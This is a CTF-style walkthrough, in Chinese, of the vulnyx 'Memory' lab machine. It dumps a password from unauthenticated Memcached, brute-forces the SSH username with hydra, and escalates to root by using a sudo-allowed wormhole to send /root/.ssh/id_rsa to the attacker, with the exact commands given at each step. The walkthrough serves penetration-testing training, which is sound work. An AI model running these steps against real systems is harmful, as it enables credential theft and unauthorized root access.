vulnyx-Memory靶场渗透

https://vulnyx.com/

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.136

  1. 扫描服务器开放了哪些端口,有什么服务

    nmap -sV -T4 -p- -A 192.168.23.136

1. 11211/tcp - Memcached 1.6.18 ------ 核心突破口

这是本次扫描中最值得关注 的端口。Memcached 通常用于缓存数据库查询以提高性能,但如果配置不当(默认配置),它往往没有身份验证机制

  • 风险点:如果该服务对公网或内网开放且未开启认证,攻击者可以直接读取缓存中的敏感数据(如 Session、API Key、数据库凭据)。
  • 利用思路
    • 信息泄露 :使用 telnetnc 连接,通过 stats itemsstats cachedump 命令遍历缓存内容。
    • 拒绝服务 (DoS):Memcached 曾被用于发动大规模的 UDP 反射攻击(虽然此处显示的是 TCP,但其风险依然存在)。
    • 命令注入/代码执行:如果 Web 应用(80端口)将序列化后的对象存储在 Memcached 中,攻击者可以通过修改缓存内容触发反序列化漏洞。
  1. 80/tcp - HTTP (Apache 2.4.65)
  • 当前状态 :显示为 Apache2 Debian Default Page: It works
  • 分析 :这通常意味着 Web 服务器刚装好,或者真正的 Web 应用隐藏在非默认路径下(如 /admin/v1 等)。
  • 下一步
    • 由于版本较新(2.4.65),直接利用 Web 服务器漏洞的可能性较低。
    • 必须进行目录爆破 :使用 ffufdirsearch 寻找隐藏的配置文件或管理后台。

3. 22/tcp - SSH (OpenSSH 9.2p1)

  • 版本:OpenSSH 9.2p1 属于比较现代的安全版本。
  • 分析:在没有凭据的情况下,暴力破解的效率极低且容易被锁定。
  • 关联性 :如果能从 11211 (Memcached) 中获取到数据库密码或用户 Session,可能会在这里找到登录系统的凭据。
  1. 访问 80 端口开放的 http 服务

是一个默认网页,扫描其子目录

复制代码
gobuster dir -e -u http://192.168.23.136/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

什么都没有

  1. Memcached是免费开源、高性能、分布式内存对象缓存系统,本质上是通用的,但旨在通过减轻数据库负载来加速动态 Web 应用程序。Memcached 是一个内存中的键值存储,用于存储来自数据库调用、API 调用或页面渲染结果的小块任意数据(字符串、对象)。

https://docs.memcached.org/

尝试直接使用 telnet 连接

复制代码
telnet 192.168.23.136 11211
复制代码
stats items

功能: 获取缓存项的分组统计信息,查看输出中的 STAT items:[ID]:number。Memcached 为了管理内存,会将数据根据大小存放在不同的 Slabs(石板/分区)中

  • items:1:这里的 1Slab ID

  • number 1:表示在这个 Slab 分区里目前存储了 1 个 Key。

  • 用途 :它是你的"地图",告诉你哪些分区里有数据。如果你看到某个 Slab 的 number 大于 0,就说明那里有"货"可以取。

    stats cachedump 1 0

功能:列出指定 Slab 中所有的 Key(键名)。

这是渗透中最关键的一步。它的语法格式是:stats cachedump [Slab_ID] [Limit]

  • 1:对应上面 stats items 查到的 Slab ID。
  • 0:表示列出的数量限制。0 代表列出该 Slab 下的所有 Key (某些版本可能需要输入一个很大的数字如 100 来替代)。

用途 :它就像 ls 命令,让你看到这个内存分区里到底存了哪些名字的变量。在上面的例子中,我们发现了一个名为 password 的 Key。

复制代码
get password

功能:读取指定 Key 的真实数据。

当你通过上面的命令找到了感兴趣的键名(如 password)后,就可以直接提取它的值。

  • password:你想查看的键(Key)。

成功能到密码NewPassword2025

  1. 不知道用户名,那就使用大字典爆破出用户

    unzip /usr/share/wordlists/rockyou.txt.gz
    hydra -t 64 -L /usr/share/seclists/Usernames/Names/names.txt -p NewPassword2025 ssh://192.168.23.136 -f

最后爆破出来用户名为 alan

复制代码
ssh alan@192.168.23.136

登录成功

  1. 信息收集一下

因为拿到了密码,尝试 sudo 提权

复制代码
sudo -l

允许通过 sudo 以 root 权限执行**/usr/bin/wormhole**

  1. 看看 wormhole 能做什么

    wormhole --help

Magic Wormhole 本身是一个用于安全传输文件和数据的工具,但当你拥有 sudo 权限且无需密码(NOPASSWD)执行它时,它就变成了一个提权利器。**关键点在于:**攻击者可以以 Root 权限发送或接收任意文件,甚至可以利用它覆盖系统的关键配置文件。

尝试走私 root 用户的私钥

复制代码
sudo /usr/bin/wormhole send /root/.ssh/id_rsa

kali 安装 wormhole,接收文件时候需要输入靶机生成的检验码4-warranty-ribcage

复制代码
apt install magic-wormhole
wormhole receive
  1. 拿到 root 私钥后,赋予 600 权限,再直接登录靶机的 root 账号

    chmod 600 id_rsa
    ssh -i id_rsa root@192.168.23.136

成功得到 flag

相关推荐
郑洁文5 小时前
基于Python的Web命令执行漏洞自动化检测系统
前端·python·网络安全·自动化
世界尽头与你8 小时前
JavaMelody 未授权访问漏洞
网络安全·信息安全·渗透测试·dast
vortex59 小时前
Unix 通配符注入攻击:从参数污染到命令执行
网络安全·渗透测试·unix
一拳一个娘娘腔10 小时前
【SRC漏洞挖掘系列】第17期:漏洞组合拳(Chain Exploit)—— 把“蚊子”养成“恐龙”
网络·安全·web安全
汤愈韬10 小时前
四种 NAT 类型详解|透彻理解 NAT 穿越原理(全锥 / 受限锥 / 端口受限锥 / 对称 NAT)
网络·网络协议·安全·网络安全·security
郑洁文12 小时前
基于网络爬虫的XSS漏洞检测系统的设计与实现
网络·爬虫·网络安全·xss
llxxyy卢12 小时前
好靶场部分题目
web安全·web
菩提小狗12 小时前
每日安全情报报告 · 2026-06-02
网络安全·漏洞·cve·安全情报·每日安全
酉鬼女又兒12 小时前
零基础入门计算机网络:第一章概述全解(三种交换方式+八大性能指标+体系结构分层+十年考研真题精讲)
网络协议·计算机网络·考研·网络安全·职场和发展·计算机外设·求职招聘